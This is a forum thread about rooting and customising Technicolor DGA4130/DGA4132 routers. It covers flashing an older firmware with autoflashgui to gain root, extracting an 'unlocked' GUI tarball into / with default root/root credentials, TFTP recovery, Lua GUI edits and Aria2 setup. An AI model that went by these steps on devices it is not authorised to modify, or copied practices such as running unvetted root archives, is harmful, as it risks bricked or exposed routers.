Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 02, 2018, 10:17:07 AM
Ok thank you... i tried this morning making some test but i had to change a bit of files.

Now i obtained this:

(https://s18.postimg.org/qqm19nww9/Senza_titolo-1.png) (https://postimg.org/image/pobur4e2t/)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 02, 2018, 12:05:14 PM
good work.

How did you get disabled in mobile card?
It is disabled on my router and stopped, but I always get enabled on GUI
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 12:38:04 PM
i have the same problem this is why i didn't add the switch in the Mobile tile. The only way i found to see it disabled in the gui is to set option enabled '0' in /etc/config/mobiled.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dika2110 on March 02, 2018, 12:38:52 PM
i tried already and it doesn't connect to aria2...

EDIT:
haaa i found how to configure Ariang.  :) now it connects to Aria2  :cool:


Dear @shdf I would really thank you and the other guys for your efforts and your passion. I learnt a lot about this device and following your instructions I was able to unlock it using you latest great GUI TIM unlocked. I'm writing now, becasue I need help to configure Aria2 running on router. I applied your guideline and it works properly on it but its web gui on router is not connecting the service.
I'm able to use it from my laptop referring the service on the router and it works, it connects the service, exactly as you wrote on this post. Using the AriaNg web UI on router it says "not connected". Can you please tell me what you did you do exactly to make it working?

I get an angularjs security error that reports:
"Refused to connect to <URL> because it violates the following Content Security Policy directive: "default-src 'self'"...."

I've already checked:
- The nginx.conf file with location for aria (it was already set by you in your GUI)
- I configured Aria on web UI defining the download path and all the other stuff, but still it looses everything every time I come back to that page.
- I also checked the aria2.config file, adding the rpc-allow-origin-all=true instruction but still the issue is there: using developer tool on Chrome I can see the error I wrote above
PLease help me I'm struggling with it ... ??? ???

Many many thanks Luigi ::)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 12:42:33 PM
do you have the same problem using firefox or Internet explorer ?

edit:
do you still have my original tar.gz file including ariang in it ? could you post it somewhere please ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 02, 2018, 12:51:46 PM
good work.

How did you get disabled in mobile card?
It is disabled on my router and stopped, but I always get enabled on GUI

I took Ansuel's GUI and modified cards and modals of TIM's GUI but switch button works.
Unfortunatly i'm not expert like shdf or ecpl so making many personalization and after I should give you all the modified files not just one otherwise it happens as with eclp which then does not work

If i could create a .tar.gz archive i could put online all my personalized GUI
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 01:44:14 PM
do you have the same problem using firefox or Internet explorer ?

edit:
do you still have my original tar.gz file including ariang in it ? could you post it somewhere please ?
Got it, this is due to a Chrome update ? here is the reason why it doesn't work in chrome : https://docs.angularjs.org/api/ng/directive/ngCsp
in ariang, add this  ng-app ng-csp in the <html> tag so it should become like this : <html ng-app="ariaNg" ng-csp manifest="index.manifest">
And then clean your chrome cache and retry.


Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dika2110 on March 02, 2018, 01:56:52 PM
Thanks for your quick replay unfortunately it didn't work. Neither with IE or Edge  :no:  Just be aware, I changed router IP.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 02:03:24 PM
With IE it worked without this hack...but anyway here is screenshot with Chrome. Did you even copied your secret-token in the interface ? are you sure aria2 is runing ?
(https://i.imgur.com/BzD85dw.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dika2110 on March 02, 2018, 02:41:35 PM
Did you also install the lighttpd package? if yes, can you tell me which version? Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 02, 2018, 02:56:10 PM
I move center the header and cards but switch bottoms on card's header are not clickable.

what is the string on gw.css?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 02:57:57 PM
Did you also install the lighttpd package? if yes, can you tell me which version? Thanks
no...never. it's only nginx. if it doesn't work for you even with IE then you have something misconfigured somewhere. are you using the ariang version included in my GUI ? i removed the file from my server a few days ago...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 04:38:20 PM
i updated the aria/ariaNG installation tutorial here : http://forum.kitz.co.uk/index.php/topic,20343.msg365238.html#msg365238

i created a tarball which will only install AriaNG over an existing GUI locked or Unlocked. Please check the tarball content first if you have a customized installation, to avoid some files to be overwritten.

in this new version i added the latest Ariang 0.4.0 (https://github.com/mayswind/AriaNg/releases) from 27 feb 2018.

Tested and working on IE11/Chrome 64/Firefox 58
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dika2110 on March 02, 2018, 04:51:22 PM
I changed the index.html page as you suggested and configured it using IE and now it works properly on it. Chrome is still raising the error but now it says "Authentication Error"  :-\ ... but I'm fine with IE. Again, many thanks  :)

EDIT:
I mean Chrome on router. Browsing the same website installed locally it works. I guess it's due to some missing authorizations ...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 02, 2018, 05:51:31 PM
"Authentication Error" = this mean you didn't add the secret token in your AriaNG setting page. always check this.
 
just for testing try with a private navigation tab in chrome, i think the problem is the cache.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Dika2110 on March 02, 2018, 10:24:16 PM
Same website, same laptop, same router, different behaviours!
Edge 41.16299.248.0
Internet Explorer 11.248.16299.0
Chrome 64.0.3282.186 - 32 bits version

It's seems to be related to the specific browser on that website, of course, but only IE is able to connect the service properly.
Thanks again for your help.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 12:30:20 AM

(https://i.imgur.com/mur3uE7.png)
Photoshop ...  ::)

The content in the tile gateway should look like this... and in the tile Internet, bridge friends are also considered.
But I can't get it done yet.  :(

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on March 03, 2018, 08:02:34 AM
Like this?

(https://s18.postimg.org/ag4rfcfc9/Senza_titolo-1.png)


i added this code:

Code: [Select]
local name = proxy.get("uci.env.var.friendly_sw_version_activebank")
if name then
    name = name[1].value
else
    name = ""
end

right under these strings:

Code: [Select]
local name = proxy.get("uci.versioncusto.override.fwversion_override")
if name then
    name = name[1].value
else
    name = ""
end
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 10:07:27 AM
About the green light near "gateway in bridge mode", you have to look in /www/cards/snippets/003_internet_bridged.lp
the function to create the light is createSimpleLight
you can see an example how to use it in the other files like 003_internet_pppoe_routed.lp

anyway here is the html template for the lights, maybe hardcoding will be easier  ::):
Quote
<span class="simple-desc"><div class="light green"></div>connected</span>

<span class="simple-desc"><div class="light red"></div>disconnected</span>

<span class="simple-desc"><div class="light orange"></div>connecting</span>

<span class="simple-desc"><div class="light off"></div>disabled</span>

Maybe just try this if you want to see a green light :
Code: [Select]
--pretranslated: do not change this file
 
-- Enable localization
gettext.textdomain('webui-core')

local ui_helper = require("web.ui_helper")
local modalPath = nil

local session = ngx.ctx.session
if session:hasAccess("/modals/internet-modal.lp") then
    modalPath = "/modals/internet-modal.lp"
end
  ngx.print('\
\
\
  <p class="subinfos">\
    '); ngx.print('<span class="simple-desc"><div class="light green"></div>connected</span>');  ngx.print( T("Gateway in bridge mode") ); ngx.print('\
  </p>\
');
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 11:52:15 AM
Thanks guys! I will try it out and give you feedback....  :)

But before that I still have the problem with my test device, it's stuck in a bootloop. Nothing seems possible these days. Tftpd64 flashes the firmware properly, the router restarts and gets stuck with orange light.

Code: [Select]
Rcvd BootP Msg for IP 0.0.0.0, Mac A4:91:XX:XX:XX:XX [03/03 12:50:19.321]
DHCP: proposed address 192.168.1.1 [03/03 12:50:19.321]
Connection received from 192.168.1.1 on port 2407 [03/03 12:50:19.336]
Read request for file <110.rbi>. Mode octet [03/03 12:50:19.336]
Using local port 63576 [03/03 12:50:19.336]
<110.rbi>: sent 51461 blks, 26347691 bytes in 10 s. 0 blk resent [03/03 12:50:29.333]

 >:(
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 12:02:07 PM
so you can't use autoflashgui anymore ?
you are probably on bank2 that's why flashing with tftp doesn't have any effect...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 12:15:39 PM
Autoflashgui doesn't work here at all anymore.

Code: [Select]
During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "tkinter\__init__.py", line 1699, in __call__
  File "autoflashgui.py", line 302, in run
  File "autoflashgui.py", line 108, in mainScript
  File "autoflashgui.py", line 53, in srp6authenticate
  File "site-packages\robobrowser\browser.py", line 205, in open
  File "site-packages\requests\sessions.py", line 508, in request
  File "site-packages\requests\sessions.py", line 618, in send
  File "site-packages\requests\adapters.py", line 508, in send
requests.exceptions.ConnectionError: HTTPConnectionPool(host='192.168.1.1', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x00000228F1B329E8>: Failed to establish a new connection: [WinError 10053] An existing connection has been terminated by the host computer software-controlled\r\captured by the host computer',))

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: onix20 on March 03, 2018, 01:56:36 PM
This is what you need :
- Download autoflashGUI to downgrade/upgrade your firmware. This is also used to unlock your firmware if you select the firmware 1.0.3.
- Download your firmware from my MEGA repository (see my signature at the bottom). Download both versions 1.0.3 and the 1.1.0 and put both files in the autoflashgui folder.
- Download an unlocked GUI for your router, in order to be able to configure it for your ISP. http://www.dga4132.tk

1) With autoflashgui, flash the firmware 1.1.0

2) with autoflashgui, flash the firmware 1.0.3, configure it like in my screenshot below, don't forget to tick "dga4132 1.0.3 root inactive" :
(https://i.imgur.com/8WLKuzK.png)
it will flash the firmware 1.0.3 and reboot the modem, root it, root the inactive bank where is located the firmware 1.1.0, and reboot again but this time with the firmware 1.1.0 (root and ssh enabled).

3) now you can access the router with putty (login/pass = root/root) and winscp. if you're an advanced user and have some openwrt knowledge, you can go directly to the /etc/config/ folder and start configuring your modem/router. if not then you have to install an unlocked GUI to configure it from your browser.

4) with winscp copy the unlocked gui file dga4132_unlocked.tar.gz in the /tmp folder of the router

5) from putty run these comands :
Code: [Select]
tar -zxvf /tmp/dga4132_unlocked.tar.gz -C /
/etc/init.d/rootdevice force
/etc/init.d/rootdevice force
at this point your modem should reboot, so just wait...the content of Bank_1 will be copied into bank_2 or vice versa, and bank_1 will be set as the active bank_1. In case of big problem it's always good to be on bank_1 active as it will let you reflash the modem with TFTP.
If you see some errore messages just ignore them, it's not important. it's just because you don't have a WAN ip address as your ISP is not configured yet.

6) you can now start configuring your modem from the GUI.

I wanted upgrade my rootet  firmware 1.1.0_002 with tim gui  to  firmware 1.1.0 . After point 1 I am loosing my ssh connecting. No connect with Winzip/Putty. The connect to the Tim gui is also failed. What can I do get rooting again?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: giulio63 on March 03, 2018, 02:04:17 PM
Hello,
I'm with Firmware 1.1.0 GUI and GUI Ansuel 4.6.9, it's possible modify it to have in the tab Gateway, also the info about the Firmware version and the router uptime how I've seen here in some screenshots about the GUI TIM unlocked ?

Thanks

Giulio
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 03:06:26 PM
For green light in bridge mode this code (hardcoded) is correct:

/www/cards/snippets/003_internet_bridged.lp

Code: [Select]
--pretranslated: do not change this file
 
-- Enable localization
gettext.textdomain('webui-core')

local ui_helper = require("web.ui_helper")
local modalPath = nil

local session = ngx.ctx.session
if session:hasAccess("/modals/internet-modal.lp") then
    modalPath = "/modals/internet-modal.lp"
end
  ngx.print('\
\
');  ngx.print( ui_helper.createCardHeader(T"Internet Access", modalPath) ); ngx.print('\
<div class="content">\
  <p class="subinfos">\
    '); ngx.print('<div class="light green"></div>');  ngx.print( T("Gateway in bridge mode") ); ngx.print('\
  </p>\
</div>\
');

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 03:16:30 PM
I wanted upgrade my rootet  firmware 1.1.0_002 with tim gui  to  firmware 1.1.0 . After point 1 I am loosing my ssh connecting. No connect with Winzip/Putty. The connect to the Tim gui is also failed. What can I do get rooting again?
this is normal ! do you even understand what you're doing ?  :o continue the procedure up to the end...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 03:20:24 PM
Hello,
I'm with Firmware 1.1.0 GUI and GUI Ansuel 4.6.9, it's possible modify it to have in the tab Gateway, also the info about the Firmware version and the router uptime how I've seen here in some screenshots about the GUI TIM unlocked ?

Thanks

Giulio
OMG...i left the italian forum and now everyone is coming here ?

replace the file /www/cards/001_gateway.lp with the one in the unlocked TIM GUI.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 03:24:17 PM
@eclp
nice  ;)
the only problem with the hardcoded green light is that it will show "connected" even if you're not... :(
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: onix20 on March 03, 2018, 04:11:21 PM
this is normal ! do you even understand what you're doing ?  :o continue the procedure up to the end...
Hi,

I have made this:

1) With autoflashgui, flash the firmware 1.1.0

2) with autoflashgui, flash the firmware 1.0.3, configure it like in my screenshot below, don't forget to tick "dga4132 1.0.3 root inactive" :


-->the modem don´t reboot automaticly. :(
The modem makes nothing.

I can´t use the gui (login fail), I can´t use WinSCP/Putty.



Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 03, 2018, 04:33:46 PM
@eclp
nice  ;)
the only problem with the hardcoded green light is that it will show "connected" even if you're not... :(

In bridge mode the lan port is always bridged with dsl port, so there isn't the case when it is "not connected", because it means that the two ports are connected together.

It is a differente meaning of "PPPoE connected", indicating a successfully authentication to Internet.

So I think it is right in this way.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 05:52:59 PM
i don't agree with you. in bridge mode, connected mean that the modem is at least connected to internet, by dsl cable, ethernet cable, 3g/4g. if you are not conencted to internet then you don't bridge anything...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 06:05:16 PM
@shdf ...

Where does the information "Firmware: 1.1.0" in the gateway tile come from? I can't relate to that.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 06:46:39 PM
uci get versioncusto.override.fwversion_override

in gateway.lp : proxy.get("uci.versioncusto.override.fwversion_override")

What you want to get AGTHP_1.1.0 is : env.var.friendly_sw_version_activebank so just replace with :
proxy.get("uci.env.var.friendly_sw_version_activebank")
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 07:18:56 PM
Thank you for your helpful answer!

Forgotten to ask I still had what files are needed for the change (I don't use your tarball, because I don't need the setup wizard at all, for example)?


 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 03, 2018, 07:30:26 PM
i don't agree with you. in bridge mode, connected mean that the modem is at least connected to internet, by dsl cable, ethernet cable, 3g/4g. if you are not conencted to internet then you don't bridge anything...

Technically speaking, in bridge mode, two interfaces (ethernet and DSL) are linked together and the job of connecting in internet is demanded to another device (a firewall, a router, a PPPoe client) plugged in the ethernet port.
Infact is the other device that is "connected" to internet, not the bridge itself.

I agree with you on the word "connected" regarding bridge mode is not the right choice. In my GUI I only put the green light without the word connected near the word bridge mode. Maybe the best word is "activated"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 08:43:23 PM
@eclp
https://pastebin.com/FzDsF1h0

(https://i.imgur.com/uDAbFye.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: onix20 on March 03, 2018, 09:20:08 PM
Hi,

I have made this:

1) With autoflashgui, flash the firmware 1.1.0

2) with autoflashgui, flash the firmware 1.0.3, configure it like in my screenshot below, don't forget to tick "dga4132 1.0.3 root inactive" :


-->the modem don´t reboot automaticly. :(
The modem makes nothing.

I can´t use the gui (login fail), I can´t use WinSCP/Putty.

@shdf...

Can you help me please?

Thank you
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 09:27:22 PM
 ;D

Only the seconds are superfluous for me ...

(https://i.imgur.com/lSJApJi.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 09:40:03 PM
@eclp
replace this :
Code: [Select]
return format(T"%ddays %dhours %dmin %dsec", days, hours, minutes, seconds)
with this :
Code: [Select]
return format(T"%ddays %dhours %dmin", days, hours, minutes)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 09:45:17 PM
@onix20
what can i do ? you should ask some help in the italian forum (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg231063.html#new)

Edit:
your last chance is to try to flash with the TFTP method.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: onix20 on March 03, 2018, 09:56:14 PM
@onix20
what can i do ? you should ask some help in the italian forum (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg231063.html#new)

Edit:
your last chance is to try to flash with the TFTP method.

I am used your manual.
Then I thought, you know this problem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 03, 2018, 10:03:38 PM
i don't know this problem as there is no reason to have this problem...especially when flashing the firmware 1.1.0_002 over 1.1.0 which is basicaly the same...
what gui where you using before ? was it the Ansuel GUI ? did you install the Ansuel GUI once ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: onix20 on March 03, 2018, 10:23:49 PM
i don't know this problem as there is no reason to have this problem...especially when flashing the firmware 1.1.0_002 over 1.1.0 which is basicaly the same...
what gui where you using before ? was it the Ansuel GUI ? did you install the Ansuel GUI once ?

I am used your manual « Reply #462/Reply #463 on: January 22, 2018, 09:12:13 PM ».
I had the firmware 1.1.0_002 on bank 2 and  1.03 on bank 1. It was  the TIM GUI according to your  instructions  (not from Ansuel).
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 10:42:08 PM
@onix20 ...

Try the TFTP method as already suggested! I'm pretty sure this will help you. And as already suggested by shdf it would be better to look for further help in the Italian forum.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 03, 2018, 11:02:53 PM
SHDF, in your 1st post on this thread you have

Quote
Support:
Quote
- G.vector
- G.inp
- G.fast
- Profile 17a and 35b

Does either the DGA4130/DGA4132 support G.Fast?

I know the BCM63138 chipset can do G.Fast, but not all BCM63138 based modems do.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 03, 2018, 11:07:26 PM
Excuse me for answering, the DGA4132 supports G.Fast.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on March 03, 2018, 11:16:39 PM
That is interesting, thank you.  :)

The big unknown is whether either the DGA4130/DGA4132 will support the version of ITU-T G.9700/1 (G.Fast) that is currently being implemented in the U.K. I guess we will only know when somebody actually tries to use one of those devices on a U.K. G.Fast service.  :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 03, 2018, 11:18:13 PM
I cannot find a technical sheet on the DGA4132, only the DGA4130, which had no mention of G.Fast.
Code: [Select]
Supports multi mode standards
ADSL compliancy
ITU-T G.992.1 Annex A (G.dmt)
ITU-T G.992.2 Annex A (G.lite)
ITU-T G.994.1 (G.hs)Rates up to 8 Mbps downstream and 1 Mbps upstream

ADSL2 compliancy
ITU-T G.992.3 Annex A, L, M (G.dmt.bis)
ITU-T G.992.4 Annex A (G.lite.bis)ITU-T G.998.4 (G.inp)Rates up to 12 Mbps downstream and 1 Mbps upstream

ADSL2+ compliancy
ITU-T G.992.5 Annex A, M
ITU-T G.998.4 (G.inp)Rates up to 24 Mbps downstream and 3 Mbps upstream

VDSL2 compliancy
ITU G.993.2 SOS SRA INM
ITU-T G.993.5 (G.vector)
ITU-T G.998.4 (G.inp)
ITU-T G.993.2 Annex Q (VDSL2 profile 35b)

edit: I keep coming across forums stating things like

VDSL2 (17a, 35b, G.fast, Vectoring)

G.fast isn't VDSL2 at all. 35b is VPlus, or "super vectoring" or some marketing rubbish like that.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: burakkucat on March 03, 2018, 11:24:26 PM
Hmm, that is disappointing.  :-X
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 04, 2018, 01:50:40 AM
Excuse me for answering, the DGA4132 supports G.Fast.

 :)
Can you show me where you get this info? Providing a screenshot of the DSL modulation page should do it.

I can only find info relating to vdsl2 profile 35b, which is only upto 200Mb and a completely different technology to G.Fast

The more I read on both devices, the more I'm convinced neither support G.Fast. Although info on the DGA4132 is practically nil, so could be wrong on that 1.

ITU-T G.993.2 (VDSL2)
ITU-T G.993.5 (G.vector/Vectoring)
ITU-T G.998.4 (G.inp)
ITU-T G.9700/9701 (G.Fast)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 10:29:26 AM
i think john is right. in the datasheet in the first page, it says :
Quote
Profile 35b: allows for aggregate speeds of up to 350 Mbps over
traditional copper telephone lines deployed from the cabinet, thus
filling the gap between VDSL2 17a vectoring and G.fast.
the profile 35b fills the gap between the profile 17a and G.fast, they don't say it support g.fast.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 12:34:48 PM
I was probably a bit premature with my statement concerning G.Fast. Please excuse me, I can't prove it.  :(

@all...

Does access to the GUI via https actually work here? I can't do that, get a nginx server error.

And, in the QoS tile everything is displayed as activated although I have actually deactivated everything. Can anyone confirm that?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 04, 2018, 12:45:22 PM
No https configurated on ngnix with TIM GUI.

But I saw openssl in the Answer GUI, so it could work.
I didn't test it

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Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 01:03:58 PM
That's strange, because it is officially praised for the 4130:  :-\

(https://i.imgur.com/MvWZX4x.png)

https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf (https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on March 04, 2018, 01:34:10 PM
i think john is right. in the datasheet in the first page, it says : the profile 35b fills the gap between the profile 17a and G.fast, they don't say it support g.fast.
Are you able to edit your 1st post to remove the reference to G.Fast?
This modem was being recommend to users on the G.Fast trial on another forum, pointing them to this thread.

Looks like the Amazon.it page incorrectly reports G.Fast also. I'm pretty sure the confusion is with VPlus.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: balteck on March 04, 2018, 01:45:45 PM
That's strange, because it is officially praised for the 4130:  :-\

(https://i.imgur.com/MvWZX4x.png)

https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf (https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf)

 :)
Maybe the official firmware of Technicolor supports ssl. And Ansuel got it on its GUI.

But TIM's firmware supports only HTTP. I checked ngnix configuration and HTTPS is not configurated.

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Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 02:16:54 PM
Will someone be able to swap the code correctly so that the tile "Relay Setup" looks like this?

Photoshop:
(https://i.imgur.com/IiE9toc.png)

All my attempts failed miserably, it always destroys the complete layout.

018_relaysetup.lp

Code: [Select]
  ngx.print('\r\
<div class="span3">\r\
    <div class="smallcard">\r\
      ');  ngx.print( ui_helper.createCardHeader(T"Relay Setup", "modals/relay-modal.lp") ); ngx.print('\r\
      <div class="content">\r\
        <p class="subinfos">\r\
          ');  ngx.print(format('%s <strong id=\"relaysetupcard_pppstatus\">%s</strong></br>', T"PPP status", T"Not configured"))
          ngx.print(format('%s : <strong id="relaysetupcard_lanip">%s</strong></br>', T"LAN IP", relay_Params["uci_lan_ip"]))   ngx.print('\r\
        </p>\r\
        ');  ngx.print(ui_helper.createSimpleLight(nil, dhcp_state_map[dhcprelay_state] , { light = { class = dhcp_light_map[dhcprelay_state], id = "relaysetupcard_dhcprelaystatusled" },  span = { id = "relaysetupcard_dhcprelaystatus" }}))
        if relay_Params["uci_relay_status"] == "1" then
          ngx.print(format('<p class = "subinfos" > Relay IP : <strong id="relaysetupcard_relayip">%s</strong></p>',relay_Params["uci_relay_ip"] ))
        end
          ngx.print('\r\
     </div>\r\
    </div>\r\
</div>\r\
'); 
end
  ngx.print('\r\
');


 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 02:26:23 PM
Are you able to edit your 1st post to remove the reference to G.Fast?
This modem was being recommend to users on the G.Fast trial on another forum, pointing them to this thread.

Looks like the Amazon.it page incorrectly reports G.Fast also. I'm pretty sure the confusion is with VPlus.
i can't edit the first page  :no: :no: we need roseway !  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on March 04, 2018, 02:36:55 PM
Done! :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 02:48:02 PM
@eclp
Code: [Select]
  ngx.print('\r\
<div class="span3">\r\
    <div class="smallcard">\r\
      ');  ngx.print( ui_helper.createCardHeader(T"Relay Setup", "modals/relay-modal.lp") ); ngx.print('\r\
      <div class="content">')
ngx.print(ui_helper.createSimpleLight(nil, dhcp_state_map[dhcprelay_state] , { light = { class = dhcp_light_map[dhcprelay_state], id = "relaysetupcard_dhcprelaystatusled" },  span = { id = "relaysetupcard_dhcprelaystatus" }}))
        ngx.print('<p class="subinfos">')
           ngx.print(format('%s <strong id=\"relaysetupcard_pppstatus\">%s</strong></br>', T"PPP status", T"Not configured"))
          ngx.print(format('%s : <strong id="relaysetupcard_lanip">%s</strong></br>', T"LAN IP", relay_Params["uci_lan_ip"]))   ngx.print('\r\
        </p>\r\
        '); 
        if relay_Params["uci_relay_status"] == "1" then
          ngx.print(format('<p class = "subinfos" > Relay IP : <strong id="relaysetupcard_relayip">%s</strong></p>',relay_Params["uci_relay_ip"] ))
        end
          ngx.print('\r\
     </div>\r\
    </div>\r\
</div>\r\
'); 
end
  ngx.print('\r\
');
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 03:03:38 PM
I checked ngnix configuration and HTTPS is not configurated.
did you miss that ?
Code: [Select]
    server {
        # ipv4
        listen       80;
        listen       443 ssl;
        # ipv6
        listen       [::]:80;
        listen       [::]:443 ssl;

        ssl_certificate /etc/nginx/server.crt;
        ssl_certificate_key /etc/nginx/server.key;
        # based on https://wiki.mozilla.org/Security/Server_Side_TLS
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_ciphers ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:!DSS;
        ssl_prefer_server_ciphers on;
        ssl_session_tickets off;
I think https is not used to access the web interface but for something else.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on March 04, 2018, 03:06:49 PM
Very good! Thank you very much!

Now all that's missing is an empty line, so it looks like this one:

---------------------------------
DHCP Relay disabled

PPP status Not configured
LAN IP: 192.168.0.1

---------------------------------

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on March 04, 2018, 03:25:58 PM
just add a <br>

ngx.print('<p class="subinfos"><br>')
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: onix20 on March 04, 2018, 03:30:39 PM
